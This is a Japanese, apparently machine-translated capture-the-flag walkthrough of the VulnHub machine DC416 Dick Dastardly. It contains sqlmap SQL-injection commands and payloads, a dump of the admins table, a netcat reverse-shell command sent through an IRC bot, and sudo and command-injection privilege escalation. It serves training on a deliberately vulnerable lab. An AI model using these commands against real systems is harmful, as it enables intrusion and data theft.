
VulnHubチームは、 DefConトロントのカンファレンスから一連のクエストを準備しました。これは、 リンクからダウンロードして試すことができます。
そしてこの記事では、 DC416 Dick Dastardly分析があります
始めましょう
Nmapは 、ポート22と80を除き、他には何も生成しなかったため、隠しディレクトリの検索に移りましょう。
$ sudo dirsearch -r -f -u 'http://192.168.1.68/' -e php,txt,bak,json,html -w /usr/share/dirb/wordlists/big.txt -x 403

ここでindex.phpへの興味深いリダイレクトを確認します。 何があるか見てみましょう:

sqlmapを開始します 。
$ sudo sqlmap -u 'http://192.168.1.68/index.php' --data='name=asd&msg=asd' --random-agent --level=5 --risk=3 --batch
POSTパラメーター 'name'は脆弱です。 他の(もしあれば)をテストし続けますか? [y / N] N
sqlmapは、合計6638のHTTP要求で次の注入ポイントを識別しました。
-パラメーター:名前(POST)
タイプ:AND / OR時間ベースのブラインド
タイトル:MySQL> = 5.0.12 AND時間ベースのブラインド
ペイロード:name = asd '||(SELECT' Uknw 'FROM DUAL WHERE 1538 = 1538 AND SLEEP(5))||'&msg = asd
-[00:52:02] [情報]バックエンドDBMSはMySQLです
Webサーバーのオペレーティングシステム:Linux Ubuntu
Webアプリケーションテクノロジー:Apache 2.4.7、PHP 5.5.9
バックエンドDBMS:MySQL> = 5.0.12
インジェクションがありますが、 sqlmapはそれをほどくことができませんでした。 2番目のフォームに渡します。
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --tables
メッセージが表示され、 sqlmapパラメーターを調整します。
[13:17:56] [情報] POSTパラメーター「issue」は「MySQL RLIKEブールベースのブラインド-WHERE、HAVING、ORDER BYまたはGROUP BY句」を注入可能(--string = "an"を使用)
再起動後、 sqlmapはインジェクションを巻き戻します。 そして、テーブルのリストを表示しました。
adminsテーブルをダンプします
$ sudo sqlmap -u 'http://192.168.1.68/report.php' --data='issue=123' --random-agent --level=5 --risk=3 -p issue --string="an" --dbms=MySQL -D vulnhub --batch -T admins --dump

明確なパスワードとログインを見つけました。 ログイン:

IRCボットのWeb管理パネルに入ります。 ここで、ボットの所有者を変更できます。 データベースから抽出したユーザー名とパスワードを入力します。 次に、自然にクリックしてIPをホワイトシートに追加し、ボットをアクティブにします。
nmapを再度実行します。

実行中のIRCサーバーに接続します。挨拶をご覧ください。

チャンネルのリストを見てみましょう:
/list
そこでチャネル#vulnhubを見つけて接続します。
/join #vulnhub
XChatを使用しました。チャンネルのユーザーリストの右側に、起動したボットvulnhub-botがあります。 彼との対話を始めましょう。

フラグが見つかりましたが、これは2番目のフラグです...どこかで最初のフラグを逃しました。 niktoを実行して、最初のフラグを見つけます。
$ sudo nikto -host http://192.168.1.68 -C all + Uncommon header 'flag' found, with contents: flag1{l0l_h0w_345y_15_7h15_c7f}
IRCを介してシェルを使用して、本格的なコンソールを開きます。
$ netcat -lvp 9999
ボットにコマンドを送信します。
Unix shell netcat -e /bin/sh 192.168.1.124 9999
プロセスのリストを見ると、それらの1つがrootとして実行されていることがわかりました。
ping -c 1 -b 192.168.1.255 -p 725f796f755f6265636f6d655f746865 2
うーん、これは面白いです。flag0を見つけるICMPパケットでWireSharkを実行しています:
flag0 {the_quieter_you_become_the_more_you_are_able_to_hear}
最後のものが残った。 現在のユーザーがどの特権を使用できるかを見てみましょう。
sudo -l
DickDastardlyのrastaの一致するデフォルトエントリ:
env_reset、mail_badpass、
secure_path = / usr / local / sbin \:/ usr / local / bin \:/ usr / sbin \:/ usr / bin \:/ sbin \:/ bin
ユーザーrastaは、DickDastardlyで次のコマンドを実行できます。
(vulnhub)NOPASSWD:/ usr / bin / python /usr/local/sbin/util.py
どうやら、これはそのようなものではありません:
sudo -u vulnhub python /usr/local/sbin/util.py
開始後、次のインタラクティブな出力が得られます。

多くの機能は利用できず、周りを見て、最後のフラグを見つけました:

より正確には、彼が横たわっている場所。 私は自分のコマンドを挿入しようとしましたが、ディレクトリ一覧を選択するときにうまくいきました:

さて、正しい順序ではありませんが、すべてのフラグが収集されます!